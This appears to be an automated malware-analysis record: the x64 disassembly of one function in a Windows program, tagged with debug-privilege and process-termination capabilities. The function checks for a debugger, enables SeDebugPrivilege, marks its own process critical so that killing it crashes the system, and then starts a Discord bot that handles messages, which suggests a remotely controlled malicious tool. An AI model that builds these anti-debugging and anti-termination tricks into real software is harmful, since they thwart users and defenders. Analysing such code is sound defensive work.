Function at 0x14002cf40
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x2870]
mov eax, 0x2970
call fcn.14003e6b0
sub rsp, rax
mov rax, qword [0x140087048]
xor rax, rsp
mov qword [rbp + 0x2860], rax
call fcn.140004290
test eax, eax
jne 0x14002d1e6
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14002d1e6
mov qword [rsp + 0x2980], rbx
lea rcx, str.ntdll.dll
mov qword [rsp + 0x2988], rsi
mov qword [rsp + 0x2990], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
mov rbx, rax
test rax, rax
je 0x14002d053
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x50]
lea edx, [rsi + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14002d02c
lea r8, [rbp - 0x80]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x14002d026
mov rax, qword [rbp - 0x80]
lea r9d, [rsi + 0x10]
mov qword [rsp + 0x28], rsi
lea r8, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x64], rax
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x6c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.RtlSetProcessIsCritical
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14002d04a
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x140079f78]
lea rdx, [0x14008a3a8]
movups xmm0, xmmword [0x140079f68]
mov dword [rsp + 0x48], 1
lea rcx, [rbp - 0x78]
mov dword [rsp + 0x40], 0xc
xor r9d, r9d
mov dword [rsp + 0x70], eax
mov r8d, 0x31fefd
lea rax, [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], esi
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int____ptr64]
lea rcx, [rbp + 0x1ae8]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rbx, qword [rbp + 0x1ae0]
mov rdi, qword [rbp + 0x1af0]
mov dword [rsp + 0x68], esi
mov rcx, rdi
lea rax, [rbx + 1]
mov qword [rbp + 0x1ae0], rax
mov rax, qword [rdi + 8]
mov qword [rsp + 0x60], rax
cmp byte [rax + 0x19], sil
jne 0x14002d119
nop dword [rax]
mov qword [rsp + 0x60], rax
cmp qword [rax + 0x20], rbx
jae 0x14002d105
mov rax, qword [rax + 0x10]
mov dword [rsp + 0x68], esi
jmp 0x14002d113
mov rcx, rax
mov dword [rsp + 0x68], 1
mov rax, qword [rax]
cmp byte [rax + 0x19], sil
je 0x14002d0f0
cmp byte [rcx + 0x19], 0
mov rsi, qword [rsp + 0x2988]
jne 0x14002d12d
cmp rbx, qword [rcx + 0x20]
jae 0x14002d19c
movabs rax, 0x276276276276276
cmp qword [rbp + 0x1af8], rax
je 0x14002d1ef
mov ecx, 0x68
call fcn.14003dd78
movups xmm0, xmmword [rsp + 0x60]
mov r8, rax
lea rcx, vtable.std::_Func_impl_no_alloc_class__int___cdecl_WinMain_struct_HINSTANCE______ptr64__struct_HINSTANCE______ptr64__char____ptr64__int_::_2::_lambda_1___void__struct_dpp::message_create_t_const____ptr64_.0
lea rdx, [rsp + 0x60]
mov qword [rax + 0x20], rbx
add rax, 0x28
movaps xmmword [rsp + 0x60], xmm0
mov qword [rax], rcx
lea rcx, [rbp - 0x78]
mov qword [rax + 8], rcx
lea rcx, [rbp + 0x1af0]
mov qword [rax + 0x38], rax
mov qword [r8], rdi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], rdi
mov word [r8 + 0x18], 0
call fcn.140028ea0
lea rcx, [rbp + 0x1ae8]
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
xor edx, edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::start_bool____ptr64]
lea rcx, [rbp - 0x78]
call qword [sym.imp.dpp.dll_public_virtual:_void___cdecl_dpp::cluster::destructor_void____ptr64]
mov rbx, qword [rsp + 0x2980]
mov rdi, qword [rsp + 0x2990]
mov rcx, qword [rbp + 0x2860]
xor rcx, rsp
call fcn.14003dd50
add rsp, 0x2970
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140017d60
int3